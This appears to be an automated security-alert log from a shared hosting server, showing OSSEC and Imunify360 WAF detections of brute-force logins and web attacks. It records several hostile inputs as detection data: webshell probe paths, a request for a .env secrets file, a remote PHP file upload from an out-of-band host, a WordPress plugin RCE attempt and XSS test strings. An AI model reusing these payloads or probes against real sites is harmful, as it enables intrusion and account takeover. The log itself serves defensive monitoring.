[2026-02-01 12:56:08 +0800] info [cpaneld] 173.31.247.100 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 23.243.66.87
country_id: 6252001
description:
[2026-02-01 12:56:12 +0800] info [cpaneld] 23.243.66.87 - usfoodcommy "GET /login/?login_only=1&user=usfoodcommy&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user usfoodcommy (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 76.37.207.97
country_id: 6252001
description:
[2026-02-01 12:56:37 +0800] info [cpaneld] 76.37.207.97 - usfo "GET /login/?login_only=1&user=usfo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user usfo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.155.129.216
country_id: 6252001
description:
[2026-02-01 12:56:39 +0800] info [cpaneld] 141.155.129.216 - usf "GET /login/?login_only=1&user=usf&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user usf (has_cpuser_file failed)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.17
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/plug/sms/img/img/news.php||SC:/home2/pspolycom/public_html/plug||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.92.201.254
country_id: 1814991
description:
2026-02-01 12:57:09 dovecot_login authenticator failed for H=([218.92.201.232]) [218.92.201.254]:18133: 535 Incorrect authentication data (set_id=support@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.120.176.6
country_id: 1835841
description:
2026-02-01 12:57:20 dovecot_login authenticator failed for H=([222.120.176.6]) [222.120.176.6]:59900: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.160
country_id: 2750405
description:
2026-02-01 12:57:21 222982 [Warning] Aborted connection 222982 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.160' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:57:09 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57442: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 12:57:41 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:40920: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:57:06 dovecot_login authenticator failed for H=(Qzs3hL) [158.94.208.175]:50574: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 12:58:19 dovecot_login authenticator failed for H=(wUAFm6N) [178.16.52.139]:56623: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:58:31 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56864: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.160.166.237
country_id: 1820814
description:
2026-02-01 12:58:33 dovecot_login authenticator failed for H=(237-166.adsl.static.espeed.com.bn) [119.160.166.237]:34892: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.218.95.154
country_id: 6252001
description:
2026-02-01 12:58:49 dovecot_login authenticator failed for H=syn-074-218-095-154.biz.spectrum.com [74.218.95.154]:43647: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:58:11 dovecot_login authenticator failed for H=(6NNY5oogI3) [158.94.208.175]:49416: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:58:17 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56864: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:59:13 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62467: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.16.192.32
country_id: 1835841
description:
2026-02-01 12:59:41 dovecot_login authenticator failed for H=([59.16.192.32]) [59.16.192.32]:42022: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 12:59:51 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:43924: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.59.202.241
country_id: 149590
description:
2026-02-01 13:00:00 dovecot_login authenticator failed for H=(241.202-59-41.data-dsm.ttcldata.net) [41.59.202.241]:58492: 535 Incorrect authentication data (set_id=admin@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:59:12 dovecot_login authenticator failed for H=(ZfWPf884Q) [158.94.208.175]:63351: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 12:59:46 dovecot_login authenticator failed for H=(WiqGCwrvB) [178.16.52.139]:59897: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.217.255.171
country_id: 6252001
description:
2026-02-01 13:00:11 dovecot_login authenticator failed for H=([50.217.255.171]) [50.217.255.171]:45738: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.165.174.234
country_id: 1269750
description:
2026-02-01 13:00:23 dovecot_login authenticator failed for H=([103.165.174.234]) [103.165.174.234]:54831: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:00:28 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57319: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-02-01 13:00:20 dovecot_login authenticator failed for H=(host-64-72-74-162.lightower.net) [64.72.74.162]:40961: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:00:47 dovecot_login authenticator failed for H=(FeAifok) [158.94.208.175]:62463: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:01:18 dovecot_login authenticator failed for H=(e0y905) [158.94.208.175]:50206: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:01:13 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63228: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.205.197
country_id: 99237
description:
2026-02-01 13:01:54 dovecot_plain authenticator failed for H=(previvine) [65.20.205.197]:39179: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.10.64.2
country_id: 6252001
domain: tst-ma.com
description:
IM360 WAF: Bad file extension||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env/.env.bak||User:tstmacom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 13:02:01 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:52602: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:02:24 dovecot_login authenticator failed for H=(hUDd0g) [158.94.208.175]:63068: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:02:14 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53113: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:03:27 dovecot_login authenticator failed for H=(BMBnoab) [158.94.208.175]:62534: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:03:36 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63934: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:03:53 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63934: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 13:03:01 dovecot_login authenticator failed for H=(WGQPXhMTJ) [178.16.52.139]:56395: 535 Incorrect authentication data (set_id=mkmadmin@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:04:24 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:54427: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:04:30 dovecot_login authenticator failed for H=(y9OgoyZ1j) [158.94.208.175]:64686: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.58
country_id: 1814991
description:
2026-02-01 13:04:07 dovecot_login authenticator failed for H=([111.61.176.58]) [111.61.176.58]:26676: 535 Incorrect authentication data (set_id=corporate@mssa.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.239.84.130
country_id: 2017370
description:
2026-02-01 13:04:28 dovecot_login authenticator failed for H=([83.239.84.130]) [83.239.84.130]:47411: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 13:04:42 dovecot_login authenticator failed for H=(3neipXgM) [178.16.52.139]:61675: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 92.63.205.168
country_id: 1512440
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/switch/7/32/769310 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.159
country_id: 2635167
description:
2026-02-01 13:04:57 223233 [Warning] Aborted connection 223233 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.159' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 13:04:13 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:57340: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.201.170
country_id: 1269750
description:
2026-02-01 13:05:37 dovecot_login authenticator failed for H=(nsg-corporate-48.223.187.122.airtel.in) [128.185.201.170]:51986: 535 Incorrect authentication data (set_id=info@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.19.195.12
country_id: 3144096
description:
2026-02-01 13:05:15 dovecot_login authenticator failed for H=(85-19-195-12.telia-isp.no) [85.19.195.12]:52416: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:05:01 dovecot_login authenticator failed for H=(8hvecF) [158.94.208.175]:62609: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.75.215.245
country_id: 1269750
description:
2026-02-01 13:05:04 dovecot_login authenticator failed for H=(nsg-static-245.215.75.182-airtel.com) [182.75.215.245]:36206: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:05:10 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:60680: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.159
country_id: 2635167
description:
2026-02-01 13:05:13 223241 [Warning] Aborted connection 223241 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.159' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.113.193.70
country_id: 1814991
description:
2026-02-01 13:05:58 dovecot_login authenticator failed for H=([116.113.193.70]) [116.113.193.70]:59961: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:06:02 dovecot_login authenticator failed for H=(dgY8cQia) [158.94.208.175]:55896: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.93.6.230
country_id: 1814991
description:
2026-02-01 13:06:20 dovecot_login authenticator failed for H=([211.93.6.230]) [211.93.6.230]:29588: 535 Incorrect authentication data (set_id=support@acburn.com.my)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 203.144.76.188
country_id: 1831722
description:
Feb  1 13:06:26 sv3 pure-ftpd[847686]: (?@203.144.76.188) [WARNING] Authentication failed for user [general]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.209.48.203
country_id: 1814991
description:
2026-02-01 13:06:41 dovecot_login authenticator failed for H=([221.209.48.203]) [221.209.48.203]:59196: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:06:10 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:49776: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 13:06:22 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:45166: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.167.20.72
country_id: 1814991
description:
2026-02-01 13:07:40 dovecot_login authenticator failed for H=(72.20.167.124.adsl-pool.sx.cn) [124.167.20.72]:45620: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:07:03 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:55971: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.93.167.144
country_id: 1835841
description:
2026-02-01 13:07:13 dovecot_login authenticator failed for H=([220.93.167.144]) [220.93.167.144]:58174: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.5.189.21
country_id: 241170
description:
2026-02-01 13:07:46 dovecot_login authenticator failed for H=(UgBoew7d) [69.5.189.21]:51530: 535 Incorrect authentication data (set_id=premalata@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.114.84.246
country_id: 1814991
description:
2026-02-01 13:07:55 dovecot_login authenticator failed for H=([116.114.84.246]) [116.114.84.246]:58530: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:07:10 dovecot_login authenticator failed for H=(OKqxi9) [158.94.208.175]:59045: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.165.172.38
country_id: 1835841
description:
2026-02-01 13:07:25 dovecot_login authenticator failed for H=([221.165.172.38]) [221.165.172.38]:45034: 535 Incorrect authentication data (set_id=admin@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.5.189.21
country_id: 241170
description:
2026-02-01 13:08:10 dovecot_login authenticator failed for H=(GZLLDVuiu) [69.5.189.21]:55437: 535 Incorrect authentication data (set_id=premalata@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 44.193.213.140
country_id: 6252001
description:
2026-02-01 13:08:18 dovecot_login authenticator failed for H=ec2-44-193-213-140.compute-1.amazonaws.com (ADMIN) [44.193.213.140]:55683: 535 Incorrect authentication data (set_id=info@imax.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 13:08:31 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:60260: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:08:11 dovecot_login authenticator failed for H=(WHyVAG) [158.94.208.175]:53540: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:08:19 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57314: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.193.122.91
country_id: 690791
description:
2026-02-01 13:09:54 dovecot_login authenticator failed for H=(82.193.122.91.cl.ipnet.ua) [82.193.122.91]:36635: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:09:14 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62880: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:09:16 dovecot_login authenticator failed for H=(jDB8oGhAl) [158.94.208.175]:49894: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:09:42 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:52003: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.5.189.21
country_id: 241170
description:
2026-02-01 13:09:43 dovecot_login authenticator failed for H=(I9er1U) [69.5.189.21]:54834: 535 Incorrect authentication data (set_id=premalata@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-02-01 13:10:11 dovecot_login authenticator failed for H=(host-64-72-74-162.lightower.net) [64.72.74.162]:48269: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:10:25 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57845: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 20.212.155.22
country_id: 1880251
domain: agpc.org.my
description:
IM360 WAF: Track file upload for Infectors||RSV:7.71||T:APACHE||SC:/home/agpcorg/public_html/wp-content/plugins/sexy-contact-form||User:agpcorg||WPU:||


plugin: modsec
rule: 77316797
name: IM360 WAF: RCE in uri used by KashmirBlack
abuser: 20.212.155.22
country_id: 1880251
domain: agpc.org.my
description:
IM360 WAF: RCE in uri used by KashmirBlack||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/plugins/sexy-contact-form/includes/fileupload/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.227.147.94
country_id: 290557
description:
2026-02-01 13:11:00 dovecot_plain authenticator failed for H=(misene) [80.227.147.94]:47747: 535 Incorrect authentication data (set_id=marina@mckd.com.my)


plugin: modsec
rule: 77141008
name: IM360 WAF: WordPress ThemeREX Plugin RCE
abuser: 20.212.155.22
country_id: 1880251
domain: agpc.org.my
description:
IM360 WAF: WordPress ThemeREX Plugin RCE||RSV:7.71||T:APACHE||MVN:ARGS:sc||MV:wp_insert_user||USR:lBhqJi||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.5.189.21
country_id: 241170
description:
2026-02-01 13:10:07 dovecot_login authenticator failed for H=(lm8pG9m4Mg) [69.5.189.21]:58723: 535 Incorrect authentication data (set_id=premalata@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:10:22 dovecot_login authenticator failed for H=(UQaTcZV3) [158.94.208.175]:50015: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 13:10:47 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:47920: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: modsec
rule: 77140918
name: IM360 WAF: WordPress Plugin Mobile Detector 3.5 file Upload Vulnerability
abuser: 20.212.155.22
country_id: 1880251
domain: agpc.org.my
description:
IM360 WAF: WordPress Plugin Mobile Detector 3.5 file Upload Vulnerability||MVN:ARGS:src||RSV:7.71||T:APACHE||MV:http://d5vdaft5ont7g309mcn09b8rnyu84sw64.oast.fun/nULpzIvB.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:11:57 dovecot_login authenticator failed for H=(9LXY07) [158.94.208.175]:58476: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:11:09 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63661: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/index.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.161.217.228
country_id: 2510769
description:
2026-02-01 13:11:07 dovecot_plain authenticator failed for H=(explus) [90.161.217.228]:49545: 535 Incorrect authentication data (set_id=marina@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.5.189.21
country_id: 241170
description:
2026-02-01 13:11:40 dovecot_login authenticator failed for H=(GE4xA1k) [69.5.189.21]:57619: 535 Incorrect authentication data (set_id=premalata@mckd.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 13:11:55 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.56
country_id: 2921044
description:
2026-02-01 13:12:51 dovecot_login authenticator failed for H=(T6AL6L) [158.94.208.56]:59126: 535 Incorrect authentication data (set_id=marketing@ocned.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/es/images/testimonial.php||SC:/home/indfinitydesign/public_html/es||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.5.189.21
country_id: 241170
description:
2026-02-01 13:12:03 dovecot_login authenticator failed for H=(npjksW) [69.5.189.21]:61665: 535 Incorrect authentication data (set_id=premalata@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 129.0.111.246
country_id: 2233387
description:
2026-02-01 13:12:34 dovecot_login authenticator failed for H=(host-129.0.111.246.mtn.cm) [129.0.111.246]:54761: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:12:16 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:52957: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.26.62.42
country_id: 1814991
description:
2026-02-01 13:12:23 dovecot_login authenticator failed for H=([111.26.62.42]) [111.26.62.42]:60810: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 13:13:04 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:53910: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.29.185.162
country_id: 1643084
description:
2026-02-01 13:13:11 dovecot_login authenticator failed for H=(ip-103-29-185-162.pascalwave.com) [103.29.185.162]:37490: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 20.212.155.22
country_id: 1880251
domain: agpc.org.my
description:
IM360 WAF: PHP Injection Low value||MV:<script>console.log(\"document.domain\")</script>||MVN:ARGS:sgcgoogleanalytic||RSV:7.71||T:APACHE||SC:/home/agpcorg/public_html/wp-admin/options-general.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.95.14.102
country_id: 1835841
description:
2026-02-01 13:13:26 dovecot_login authenticator failed for H=([220.95.14.102]) [220.95.14.102]:42370: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:13:25 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50554: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 20.212.155.22
country_id: 1880251
domain: agpc.org.my
description:
IM360 WAF: Possible XSS in arguments||MV:<script>console.log(\"document.domain\")</script>||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.59.202.241
country_id: 149590
description:
2026-02-01 13:14:05 dovecot_login authenticator failed for H=(241.202-59-41.data-dsm.ttcldata.net) [41.59.202.241]:55804: 535 Incorrect authentication data (set_id=support@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.218.95.154
country_id: 6252001
description:
2026-02-01 13:14:16 dovecot_login authenticator failed for H=syn-074-218-095-154.biz.spectrum.com [74.218.95.154]:47470: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
